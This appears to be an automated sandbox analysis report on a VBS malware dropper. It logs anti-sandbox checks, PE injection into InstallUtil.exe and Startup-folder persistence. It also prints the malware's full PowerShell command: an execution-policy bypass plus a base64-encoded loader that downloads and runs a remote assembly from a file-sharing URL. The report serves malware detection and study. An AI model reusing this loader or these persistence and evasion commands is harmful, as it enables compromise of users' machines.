Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Yara match	File source: 13.2.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.InstallUtil.exe.406d60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.3420074750.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3427696368.0000000002EA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6284, type: MEMORYSTR

Source: InstallUtil.exe, 0000000D.00000002.3420074750.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 1380000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2EA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2CC0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3395	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1751	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1098	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 376	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4758	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4925	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 2314	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 7381	Jump to behavior

Source: C:\Windows\System32\wscript.exe TID: 3564	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3468	Thread sleep count: 3395 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2144	Thread sleep count: 1751 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5396	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2680	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6264	Thread sleep count: 4758 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2876	Thread sleep count: 4925 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6404	Thread sleep time: -17524406870024063s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4236	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1944	Thread sleep count: 2314 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1944	Thread sleep count: 7381 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: InstallUtil.exe, 0000000D.00000002.3420074750.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: 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
Source: InstallUtil.exe, 0000000D.00000002.3420074750.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: InstallUtil.exe, 0000000D.00000002.3427696368.0000000002EA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q,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
Source: wscript.exe, 00000000.00000003.2299241877.0000023841E04000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2298344275.0000023841E04000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2305436215.0000023841DC0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2299241877.0000023841DBA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2305564366.0000023841E04000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: InstallUtil.exe, 0000000D.00000002.3421734671.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Memory allocated: page read and write | page guard

System process connects to network (likely due to code injection or exploit)

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\wscript.exe

Network Connect: 172.67.187.200 443

Yara detected Powershell decode and execute

Source: Yara match

File source: amsi64_3960.amsi.csv, type: OTHER

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_3960.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3960, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHBTSE9NZVs0XSskcHNIT01FWzMwXSsnWCcpICgoJ1BoUmltYWdlVXJsJysnID0gZlhZaHR0cHM6Ly8xMDE3LmZpbGVtYWlsLmNvbS9hcGkvZicrJ2lsZS9nZXQ/ZicrJ2lsZWtleT0yJysnQWFfYldvOVJldTQ1dDdCVTFrVmdzZDlwVDlwZ1NTbHZTdEdyblRJQ2ZGaG1US2ozTEM2U1F0SWNPY19UMzV3JnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDk0NTE3NmEwOTA0ZiBmWFk7UGhSJysnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtQaFJpJysnbWFnZUJ5dGVzID0gUGhSd2ViQ2xpZW50LicrJ0Rvd25sb2FkRGF0YShQaFJpbWFnZVVybCk7UGhSaW1hZ2VUZXh0ID0gW1N5Jysnc3RlbS5UZXh0LkVuY28nKydkaW5nXTo6VVRGOC5HZXRTdHJpbmcoUGhSaW1hZ2VCeScrJ3Rlcyk7UGhSc3RhcnQnKydGbGFnID0gZlhZPDxCQVNFNjRfU1RBUlQ+PmZYWTtQaFJlbmRGbGFnID0gZlhZPDwnKydCQVNFNjRfRU5EPj5mWFk7UGhSc3RhcnRJbmQnKydleCA9IFBoUmltYWdlVGV4dC5JJysnbmRlJysneE9mKFBoUnN0YXJ0RmxhZyk7UGhSZW5kSW5kZXggPSBQaFJpbWFnZVRleHQuSW5kZXhPZihQaFJlbmRGbGEnKydnKTtQaFJzdGFydEluZGV4IC1nZSAwIC1hbmQgUGhSZW5kSW5kZXggLWd0IFBoUnN0YXJ0SW5kZXg7UCcrJ2hSc3RhcnRJbmRleCArPSBQaFJzJysndGFydEZsYWcuTGVuZ3RoO1BoUmJhc2U2NExlbmd0aCA9IFBoUmVuZEluZGV4IC0gUGhSc3RhcnRJbmRleDtQaFJiYXNlNjRDb21tYW5kID0gUGhSaW1hZ2VUZXh0LlN1YnN0cmluZyhQaFJzdGFydEluZGV4JysnLCBQaFJiYXNlNjRMZW5ndGgpO1BoUmJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFBoUmJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSB1TFQgRm9yRWFjaC1PYmplY3QgeyBQaFInKydfIH0pWy0xLi4tKFBoUmJhc2U2NENvbW1hbmQuTGVuZ3RoKV07UGhSY29tbWFuZEJ5dGVzID0gW1N5c3QnKydlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhQaFJiJysnYXNlNjRSZXZlcnNlZCk7UGhSbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFBoUmNvbW1hbmRCeXRlcyk7UGhSdmFpTWV0aG9kID0gW2RubGliLklPJysnLkhvbWVdLkdldE1ldGhvZChmWFlWQUlmWFkpO1BoUnZhaU1ldGhvZC5JbnZva2UoUGhSbnVsbCwgQChmWFl0eHQuNzBvMWp6L2VvbS54b2J0YWMuc2VsaWYvLzpzcHR0aGZYWSwgZlhZZGVzJysnYXRpdmFkb2ZYWSwgZlhZZGVzYXRpdmFkb2ZYWSwgZlgnKydZZGVzYXRpdmFkb2ZYWSwgZlhZSW5zdGFsbFV0aWxmWFksIGZYWWRlc2F0aXZhZG9mWCcrJ1ksIGZYWWRlc2F0aXZhZG9mWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWWRlc2F0aXZhZG8nKydmWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWTFmWFksZlhZZGVzYXRpdmFkb2ZYWSkpOycpLlJFcGxBQ0UoKFtjaEFSXTEwMitbY2hBUl04OCtbY2hBUl04OSksW3N0UklOZ11bY2hBUl0zOSkuUkVwbEFDRSgoW2NoQVJdMTE3K1tjaEFSXTc2K1tjaEFSXTg0KSwnfCcpLlJFcGxBQ0UoJ1BoUicsJyQnKSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 416000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 418000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: C27008	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\LETA_pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')	Jump to behavior
